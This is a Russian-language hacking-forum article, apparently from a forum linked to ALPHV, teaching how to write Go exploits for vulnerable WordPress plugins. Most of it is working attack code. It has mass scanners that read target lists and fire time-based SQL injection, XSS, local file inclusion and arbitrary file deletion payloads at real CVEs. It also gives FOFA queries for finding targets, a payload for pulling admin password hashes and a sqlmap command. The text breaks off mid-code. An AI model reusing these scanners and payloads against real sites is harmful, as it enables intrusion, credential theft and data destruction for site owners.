• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Написание эксплоитов под WordPress

mister323

Новорег
Пользователь
Регистрация
11.04.2022
Сообщения
6
Розыгрыши
0
Реакции
0
mister323 не предоставил(а) никакой дополнительной информации.
Эй, герой вселенной, как ты? miserylord на связи!

В этой статье я разберу процесс написания эксплоитов для CMS WordPress. Итак, с места в карьер — небольшое теоретическое введение.





Общие положения


Что такое CVE? Common Vulnerabilities and Exposures — это база данных для идентификации уязвимостей в различных программных обеспечениях и системах. Когда кто-то находит уязвимость, ей присваивается уникальный идентификатор CVE. Существует несколько сайтов, которые предоставляют каталог. Мне нравится cvedetails.com — на нем возможна сортировка по дате и множеству других характеристик.


WordPress — это очень популярная система управления контентом (CMS), которая позволяет создавать и управлять веб-сайтами без необходимости глубоких знаний в программировании. Миллиарды сайтов в сети используют эту CMS из-за иллюзорности ее простоты. На самом деле, чтобы создать что-то более сложное, чем блог, придется значительно углубиться в дебри. Даже интеграция плагина может стать непреодолимым препятствием для тех, кто решил, что это лоукод, поскольку это не так. Но да ладно, не об этом. Об взломе WordPress я писал Для просмотра ссылки Войди или Зарегистрируйся. Сегодня я хочу сосредоточиться именно на процессе написания эксплоитов под различные типы уязвимостей.


Что нужно знать о WordPress перед написанием эксплоитов под него? В таких случаях лучше всего начать с знакомства с документацией Для просмотра ссылки Войди или Зарегистрируйся, поскольку любая система имеет свои особенности. Из нее становится понятно несколько моментов:


  • WordPress — это ядро системы. В самом ядре практически нет уязвимостей. 99% из них встречаются в плагинах (реже в темах). Плагины — это по сути модули, такие подпрограммы или наборы функций, которые добавляются поверх основной системы для расширения ее возможностей. Плагины могут добавлять новые функции или изменять уже существующие. Именно с ними работают эксплоиты.
  • В рамках WordPress существует такое понятие, как шорткоды. Шорткоды — это фрагменты кода, которые позволяют вставлять различные элементы или функциональные блоки в контент, не используя HTML или PHP. Плагины могут предоставлять список шорткодов. В каком-то смысле, это типа API от плагинов. Выглядят они, например, так: [gallery].
  • Еще одно характерное понятие для WordPress — это хуки. Хуки позволяют добавлять или изменять функциональность сайта, не меняя его исходный код. Хуки используются для "подключения" функций к определенным точкам исполнения кода в процессе работы WordPress. Они бывают двух видов: экшен-хуки, которые выполняются в определенные моменты работы WordPress, например, при сохранении поста или загрузке страницы, а также фильтр-хуки, которые используются для изменения данных перед их выводом.
  • В плане безопасности документация рекомендует стандартные практики по валидации данных. Она вводит понятие nonce. Nonce — это уникальный и временный токен, используемый для защиты от атак типа Cross-Site Request Forgery (CSRF). Nonces не являются постоянными — они действительны примерно 12 часов, привязаны к пользователю (каждый пользователь получает свой уникальный nonce) и используются только один раз. Повторное использование токена приведет к ошибке. Защита от CSRF реализована через проверку nonce, который должен совпадать с серверным значением, иначе запрос отклоняется.
  • Описание CVE под WordPress всегда включает роль пользователя. В WordPress есть несколько ролей, каждая из которых имеет различные уровни доступа и прав: Администратор — имеет полный доступ ко всем функциям сайта и настройкам, включая установку плагинов, управление темами, редактирование всех постов и страниц. Редактор — может управлять всеми постами и страницами, но не имеет доступа к настройкам сайта или плагинам. Автор — может создавать и редактировать свои собственные посты, но не может редактировать посты других пользователей. Советник — может оставлять комментарии, но не имеет доступа к созданию или редактированию контента. Подписчик — может только просматривать сайт и оставлять комментарии (если они включены), без возможности редактировать контент или настройки.

Поднимаем рабочее окружение


Поговорим про окружение для написания эксплоитов. Для комфортного написания эксплоитов необходимо поднять WordPress локально — это даст возможность легко дебажить код. Хотя можно найти таргеты и в Интернете, я также расскажу, как это сделать, но это может быть более проблематично.

Итак, удобнее всего скачать XAMPP. XAMPP — это бесплатный и кроссплатформенный локальный сервер, который включает в себя Apache, MySQL (MariaDB), PHP и Perl. Далее необходимо скачать WordPress с официального сайта Для просмотра ссылки Войди или Зарегистрируйся, разархивировать архив и переместить папку с WordPress в директорию XAMPP. Для Windows это путь:C:\xampp\htdocs\wordpress. После этого установите WordPress, следуя инструкции.

CVE обычно описывает два параметра: версию плагина и роль пользователя. Для скачивания плагина определённой версии на странице плагина перейдите в раздел Advanced (можно просто добавить /advanced к URL), и внизу вы обнаружите возможность выбрать версию плагина для скачивания. Скачайте архив, перейдите в админ-панель в раздел Плагины и установите плагин, используя кнопку Upload Plugin, загрузив его в виде ZIP-архива.

На сайте Для просмотра ссылки Войди или Зарегистрируйся можно просматривать исходный код плагинов и откатываться к определённым версиям — примерно как в Git. На странице плагина найдите кнопку Revision Log — она откроет историю обновлений плагина. Это может быть полезно, если вы захотите глубже разобраться в причинах появления уязвимостей, а также понять, была ли устранена та или иная уязвимость в обновлениях.

Помимо ресурсов типа cvedetails, существует ряд других, на которых можно найти информацию о CVE. Мне приглянулся ресурс tenable.com. На нём можно сразу найти PoC — доказательство концепции. Это ещё не эксплойт, но в целом на его основе намного проще написать код, чем без него.


SQL-инъекций


Начнём с SQL-инъекций. Это тип уязвимости, который позволяет взаимодействовать с базой данных в тех точках приложения, в которых нарушена грамотная санитизация и валидация данных в момент общения с СУБД.

Первая на очереди — CVE-2023-23489. Уязвимость в плагине Easy Digital Downloads в версиях 3.1.0.2 и 3.1.0.3. Скачиваем плагин, выбрав нужную версию — Для просмотра ссылки Войди или Зарегистрируйся.

Немного изучив Интернет, обнаружил шаблон для nuclei — Для просмотра ссылки Войди или Зарегистрируйся. Основное описание возьму отсюда — Для просмотра ссылки Войди или Зарегистрируйся.

Согласно описанию, плагин не экранирует параметр 's' в экшене 'edd_download_search' перед его использованием в SQL-запросе, что приводит к уязвимости неаутентифицированной SQL-инъекции. Уязвимый участок кода находится в функции edd_ajax_download_search(), расположенной в файле ./includes/ajax-functions.php.

В этом можно убедиться, изучив глубже исходный код. Вот он для нужной версии — Для просмотра ссылки Войди или Зарегистрируйся. В целом, здесь довольно сложно понять причину возникновения уязвимости. Насколько я понял, пропущен prepare() для параметра s. Нужно отметить, что код на самом деле старается придерживаться лучших практик, и это не систематическая ошибка разработчиков, а скорее недопонимание работы процесса либо невнимательность. В любом случае, понимание возникновения подобных дыр может помочь в поиске новых уязвимостей нулевого дня.

Переходим к написанию эксплойта. Примеры других эксплойтов под WordPress на GitHub можно найти по ссылке — Для просмотра ссылки Войди или Зарегистрируйся.

Очевидно, что первым делом необходимо узнать версию установленного плагина на сайте. Это всегда делается одним способом — обращением к readme-файлу, в поле Stable Tag будет указана версия. Маршрут всегда одинаковый: MAIN_URL/wp-content/plugins/PLUGIN_NAME/readme.txt То есть в случае плагина Easy Digital Downloads маршрут будет: /wp-content/plugins/easy-digital-downloads/readme.txt

Для проверки этой информации воспользуемся регулярным выражением. Далее логика такова: добавляем payload к URL и проверяем реакцию хоста. Это SQL-уязвимость типа, основанного на времени. То есть, если запрос истинный, мы должны увидеть задержку в ответе сервера на установленное время. В PoC это 2 секунды, но для лучшего понимания увеличим этот параметр, например, до 4.

Пейлод будет следующим: /admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(4)))a)--+-

Основная логика расписана, и вот код:
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "time"
)

const pathSuffix = "/wp-content/plugins/easy-digital-downloads/readme.txt"
const payloadPath = "/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(4)))a)--+-"

func checkVulnerability(url string) {
    targetURL := fmt.Sprintf("%s%s", url, payloadPath)
    start := time.Now()
    resp, err := http.Get(targetURL)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", targetURL, err)
        return
    }
    defer resp.Body.Close()
    duration := time.Since(start).Seconds()
    if duration >= 4 {
        fmt.Printf("Potential vulnerability detected at %s\n", url)
    } else {
        fmt.Printf("No vulnerability detected at %s\n", url)
    }
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    re := regexp.MustCompile(`Stable Tag:\s*(3\.1\.0\.2|3\.1\.0\.3)`)
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fullUrl := fmt.Sprintf("%s%s", url, pathSuffix)
        fmt.Println("Checking link:", url)

        resp, err := http.Get(fullUrl)
        if err != nil {
            fmt.Printf("Error while sending request to %s: %v\n", url, err)
            continue
        }
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error while reading response body from %s: %v\n", url, err)
            continue
        }
        resp.Body.Close()

        if re.Match(body) {
            fmt.Printf("Match found in %s\n", url)
            checkVulnerability(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Проверяем и видим, что чекер правильно определяет потенциально уязвимые хосты. Кстати, по поводу нахождения целевых ресурсов: запрос для поиска в FOFA —body="/wp-content/plugins/PLUGIN_NAME". То есть в данном случае это будет: body="/wp-content/plugins/easy-digital-downloads".

Следует внимательно подходить к проверке уязвимости до написания эксплойта — это своего рода этап разведки. Важно отметить, что помимо бесплатных плагинов в WordPress существует ряд платных. Их тестирование на порядок сложнее, так как, по сути, их нужно купить. Однако, помимо сугубо платных и бесплатных плагинов, существуют бесплатные плагины с платной подпиской, и для корректного тестирования их аналогично необходимо приобрести. Также иногда описание CVE бывает неполным.

Возьмём CVE-2024-12015. Небольшой PoC, а вернее, пейлод, описан на Tenable Для просмотра ссылки Войди или Зарегистрируйся.

Эта уязвимость требует авторизации, поскольку это что-то типа контрольной панели менеджмента. Эксплойт включает в себя проверку версий плагина, но нигде в описании она не указана, следовательно, нам необходимо установить её самостоятельно.

Смотрим по коммитам — Для просмотра ссылки Войди или Зарегистрируйся. В комментариях видим: Fix: Resolved SQL security vulnerability to ensure system integrity.

Понимаем, что нужная нам версия — это < 2.6.17.

Уязвимость возникает по маршруту /pm/v2/activities с пейлодом: //AND//(SELECT//1//FROM/**/(SELECT(SLEEP(5)))a)

Скачиваем версию 2.6.15, обращаемся по маршруту, но получаем статус 401 и ошибку rest_forbidden. Возможно, ошиблись с версией? Пробуем даунгрейднуться, но при попытках установки версии ниже приложение просто крашится. Ладно, ошибки в версии быть не должно. Делаем ресёрч и понимаем, что этот маршрут находится за пейволом.

На самом деле, мы можем попробовать написать эксплойт, подобный тому, что был написан для CVE-2023-23489, но помимо этого он требует авторизации. Так что вряд ли это имеет большой смысл в рамках общего тестирования. Однако, имея пейлод и уязвимость в платном плагине, что не требует авторизации, можно попробовать собрать ссылки доркой и прогнать их кодом.

Далее возьмём CVE-2023-28663, на примере которой я продемонстрирую, как работать с CVE, которые требуют авторизации, а также как оптимизировать код под поиск определённых версий.

Итак, CVE-2023-28663 — аутентифицированная SQL-инъекция. Плагин не экранирует параметр fieldmap в методе fpropdf_export_file перед использованием его в SQL-запросе. Берём описание и PoC отсюда — Для просмотра ссылки Войди или Зарегистрируйся.

Доказательство концепции приведено в виде curl-запроса. Curl — это специальный инструмент командной строки для передачи данных по различным протоколам, в том числе HTTPS. По умолчанию curl-запрос является GET-запросом, но если передан флаг --data, значит, запрос является типа POST.

Как я успел заметить, версии плагинов идут в рамках трёх параметров — мажор, минор и патч. Но плагин formidablepro-2-pdf кажется исключением, и вместо 3.1.1 или 3.11.0 его версия — 3.11. Подобные мелочи важны для написания чекера версий. Логика будет следующая: захватываем регулярным выражением (?m)^Stable tag:\s*(\S+) строку с версией, и далее разбиваем её по знаку точки, приводим все к цифрам и сравниваем на предмет меньше или равно.

В PoC есть момент с передачей куки. Существуют разные расширения, которые помогают достать куки, но это можно сделать и в браузере. В рамках активной сессии необходимо открыть devtools, перейти в Application, слева увидите Cookie, откуда их можно скопировать. Для работы нужна всего одна кука. Она начинается на wordpress_, и после идет случайный набор символов букв и цифр.

Проверить можно с помощью этого кода.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
)

func makeRequest(url string, cookie string) (string, error) {
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return "", err
    }

    if cookie != "" {
        req.Header.Set("Cookie", cookie)
    }

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}

func main() {
    // Заменить на URL для проверки
    url := "URL/wp-admin/"

    fmt.Println("Запрос без куки:")
    response, err := makeRequest(url, "")
    if err != nil {
        fmt.Println("Ошибка при запросе:", err)
        return
    }
    fmt.Println(response)
// Заменить на куку
    const wpCookie = ""
//    const wpCookie = "wordpress_fffffffff=admin%CFR4422%fsfsfsfsf%fFFFF" ---> название знак = значение

    // Сделаем запрос с кукой
    fmt.Println("\nЗапрос с кукой:")
    responseWithCookie, err := makeRequest(url, wpCookie)
    if err != nil {
        fmt.Println("Ошибка при запросе с кукой:", err)
        return
    }
    fmt.Println(responseWithCookie)
}

А вот и сам код эксплойта, в котором учитывается всё, о чём я писал выше:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
    "time"
)

const pluginVersionURL = "/wp-content/plugins/formidablepro-2-pdf/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e  = 3
const minor_e = 11
const wpCookie = "change_me"

const payload = "action=fpropdf_export_file&fieldmap=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)"

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 2 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])

        if err1 != nil || err2 != nil  {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e ) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, strings.NewReader(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    req.Header.Set("Cookie", wpCookie)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    start := time.Now()

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    duration := time.Since(start)
    if duration.Seconds() > 5 {
        fmt.Printf("Potential time-based SQL injection detected at %s (response took %v seconds)\n", url, duration.Seconds())
    } else {
        fmt.Printf("No time-based SQL injection detected at %s\n", url)
    }
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, sending PoC...\n", url)
            testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Что касается постэксплотаций, то одним из возможных векторов будет извлечение хеша пароля администратора с его последующим снятием. Вернемся к CVE-2023-23489 (первая в контексте обсуждения). Логичным пейлодом будет запрос: 1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'), 1, 1) = 'a', SLEEP(5), 0)-- -, так как поле должно называться user_pass, а таблица — wp_users. Но, честно говоря, этот запрос не работает, впрочем возможна постэксплуатация через sqlmap.

Если помнить особенности CVE-2023-23489, то пейлоад срабатывает раз в 30 секунд, или его необходимо менять каждый раз. Следовательно, параметр --time-sec должен быть рандомным при запросе к sqlmap. Итак, рабочий запрос к sqlmap (который сработал со второй попытки) будет таким:

python sqlmap.py -u "Для просмотра ссылки Войди или Зарегистрируйся --time-sec=$timeSec --dbms=mysql --technique=T --risk=3 --level=5 --dbs

С помощью звездочки задается параметр для тестирования. WordPress использует MySQL, поэтому параметр --dbms — это MySQL. --technique=T означает, что используется метод, основанный на времени. Параметр time-sec задается переменной из-за особенностей работы на Windows (предварительно создана переменная $timeSec = Get-Random -Minimum 3 -Maximum 36).


Nonce


Некоторые запросы могут требовать передачи nonce, о котором я говорил во введении. В целом, nonce — это прежде всего защита от CSRF-атак. Эта атака предполагает, что существует некая функция для администратора, которая триггерится через конечную точку. Зная эндпоинт, можно скрафтить ссылку и передать ее администратору для клика. Так вот, именно nonce должен защищать от этого, поскольку он просто не будет валиден. Это что касается CSRF-атак.

Но иногда для неавторизованного пейлоада требуется nonce. Напомню, что, как было установлено из документаций, он сгорает каждый раз. Способ его получения — это обратиться к маршруту /register/. Хотя в целом можно обратиться к любому маршруту, где он будет в HTML-коде. Я встречал обращение к /register/ в других эксплойтах, и это выглядит как хорошая техника. Функция делает GET-запрос, а затем парсит nonce из HTML.
C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"

    "golang.org/x/net/html"
)

const nonceURL = "/register"

func getNonce(url string) string {
    fullUrl := fmt.Sprintf("%s%s", url, nonceURL)

    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Println("Error fetching URL:", err)
        return ""
    }
    defer resp.Body.Close()

    doc, err := html.Parse(resp.Body)
    if err != nil {
        fmt.Println("Error parsing HTML:", err)
        return ""
    }

    var nonce string
    var f func(*html.Node)
    f = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "input" {
            for _, attr := range n.Attr {
                if attr.Key == "id" && attr.Val == "_wpnonce" {
                    for _, attr := range n.Attr {
                        if attr.Key == "value" {
                            nonce = attr.Val
                            return
                        }
                    }
                }
            }
        }
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            f(c)
        }
    }
    f(doc)

    return nonce
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        nonce := getNonce(url)
        if nonce != "" {
            fmt.Println("Found nonce:", nonce)
        } else {
            fmt.Println("Nonce not found")
        }
    }
}

XSS


Продолжим следующим типом уязвимостей — кросс-сайт скриптинг (XSS).

В контексте WordPress, помимо классических типов XSS-инъекций, существует ещё один тип — stored XSS в шорткодах. О шорткодах я писал во вступлении — это что-то вроде специального API от плагинов.

У шорткодов есть несколько особенностей: они всегда будут требовать авторизации, поскольку их имплементация заключается в добавлении на страницу в момент её создания и никак иначе. По сути, какого-либо автоматизированного эксплойта здесь реализовать не получится, разве что проверку по readme на установленную версию плагина.

Скажу сразу, что в теории всё максимально просто, но на практике то ли у меня как-то криво настроено окружение, то ли сам браузер блокирует код, то ли работает какая-то защита, но мои пейлоды не срабатывали.

Давайте по порядку. Берём CVE-2024-13389, читаем описание — Для просмотра ссылки Войди или Зарегистрируйся. Нужный шорткод — cliptakes_input_email.

Шорткоды принимают параметры. Пробуем найти нужный шорткод в документации — Для просмотра ссылки Войди или Зарегистрируйся, но, судя по всему, он был удалён. Смотрим коммит изменений, указанный в ссылках: Для просмотра ссылки Войди или Зарегистрируйся. Анализируем другие шорткоды и приходим к пониманию, что нужный параметр — это label (по сути, этого достаточно для написания PoC). Крафтим пейлод: [cliptakes_input_email label='" onmouseover="alert(XSS)']

И он просто выводится в лейбл. Перепробовав разные пейлоды, один из самых интересных был onmouseover="window.location" (делает редирект, а точнее замену ссылки), но ни один из них не срабатывает. Что-то здесь не так.

Возьмём CVE-2023-5942 — одну из немногих CVE такого типа, где есть PoC и плагин нужной версии можно свободно скачать. Большинство других по тем или иным причинам более недоступны.

Находим PoC — Для просмотра ссылки Войди или Зарегистрируйся. Вставляю при создании новой страницы: [medialist style='” onmouseover=”alert(/XSS/)”‘ rml_folder=/var/www/html/wordpress globalitems=1] для дебага. И знаете что? Ничего не происходит.

Я уверен, что правильно описал флоу крафта пейлода, однако сами пейлоды у меня не срабатывали, даже с чужих PoC.

Что касается стандартных типов XSS, то эксплойт — это, по сути, просто проверка установленной версии расширения и возможный крафт ссылки. Отмечу, что перехват админских куки через XSS будет затруднён. У главной куки, которая отвечает за авторизацию и о которой шла речь в разделе про SQL инъекции, установлен флаг httpOnly, поэтому получить доступ к ней через JavaScript невозможно.

Рассмотрим CVE-2024-4041 — рефлектед XSS уязвимость в плагине Yoast SEO, очень популярном плагине для SEO. Она затрагивает лишь авторизованные аккаунты, доступ к которым позволяет работать с плагином. Доказательство концепции находим на этом сайте — Для просмотра ссылки Войди или Зарегистрируйся.

Следовательно, код эксплойта тестирует версию плагина и крафтит ссылку:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/wordpress-seo/readme.txt"
const vulURL = `?page="%20onmouseover="alert(document.cookie)`
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e = 22
const minor_e = 5

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 2 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])

        if err1 != nil || err2 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}


func testPoC(url string) string {
    URL := fmt.Sprintf("%s%s", url, vulURL)

    return URL
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, crafting Link...\n", url)
            resURL := testPoC(url)
            fmt.Print(resURL)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Local File Inclusion (LFI)


Локальное включение файлов — это уязвимость, которая позволяет с помощью манипуляций путями вызвать файл на сервере в качестве исполняемого. Насколько я понимаю, LFI не гарантирует, что файл будет подгружен, скорее она позволяет прочитать файл как исполняемый. Однако момент подгрузки может быть отдельным, и вся эта атака является комбинированной. То есть LFI может быть превращена в RCE, но лишь в некоторых случаях.

По сути, LFI очень похожа на Path Traversal, с отличием в том, что Path Traversal — это об прочтении файла, а LFI — об исполнении.

Возьмём CVE-2024-3673, не требующую авторизации, возникающую в плагине Web Directory Free до версии 1.7.3.

Причину возникновения можно посмотреть в этом коммите — Для просмотра ссылки Войди или Зарегистрируйся. Насколько я понимаю, в коде некорректно проверяется переменная template. Предполагается, что передаваемый файл будет содержать .tpl.php, но если .tpl.php не содержится, то str_replace ничего не заменит, и проверка будет некорректной.

Доказательство концепции находится на WPScan — Для просмотра ссылки Войди или Зарегистрируйся. Пейлоад отправляется в POST-запросе, и в PoC происходит обращение к файлу /etc/passwd по маршруту ../../../../../etc/passwd, предполагая, что сервер запущен на Linux. Но в рамках тестового окружения это не сработает, необходимо изменить путь для проверки (в реальности нужно учитывать как Windows, так и Linux серверы).

В папке xampp\htdocs создаём файл test.txt с содержанием: "This is a test file to check the LFI."

Путь начинается в папке wp-admin, а полный путь — htdocs\wordpress\wp-admin. Следовательно, нужно перейти на две директории вверх и заменить в пейлоаде ../../../../../etc/passwd на ../../test.txt.

Итого, код эксплойта будет выглядеть примерно так:

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/web-directory-free/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`
const payload = "from_set_ajax=1&action=w2dc_controller_request&template=../../test.txt"

const major_e = 1
const minor_e = 7
const path_e = 2

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        fmt.Println("Error when creating a query:", err)
        return
    }

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while executing the query:", err)
        return
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error in reading the response:", err)
        return
    }

    bodyStr := string(body)
    if strings.Contains(bodyStr, "This is a test file to check the LFI") {
        fmt.Println("Vulnerability found! The link is vulnerable.")
        fmt.Print(url)
    } else {
        fmt.Println("The server response does not contain an acknowledgement of the vulnerability.")
    }
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

Arbitrary File Deletion


Помимо чтения и выполнения файла существует тип уязвимости, который позволяет удалять файлы. Она может быть использована для удаления важных файлов сайта, что при отсутствии резервных копий может значительно затруднить процесс восстановления. Код эксплойта будет в целом аналогичен LFI, Path Traversal или Arbitrary File Read.

Код для CVE-2022-1953, не требующей авторизации уязвимости типа Arbitrary File Deletion в плагине Product Configurator for WooCommerce версий ниже 1.2.32, написан по Proof of Concept: Для просмотра ссылки Войди или Зарегистрируйся.

C-подобный: Скопировать в буфер обмена
Код:
package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/product-configurator-for-woocommerce/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`
const payload = "action=mkl_pc_generate_config_image&data=../../test.txt"

const major_e = 1
const minor_e = 2
const path_e = 31

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, bytes.NewBuffer([]byte(payload)))
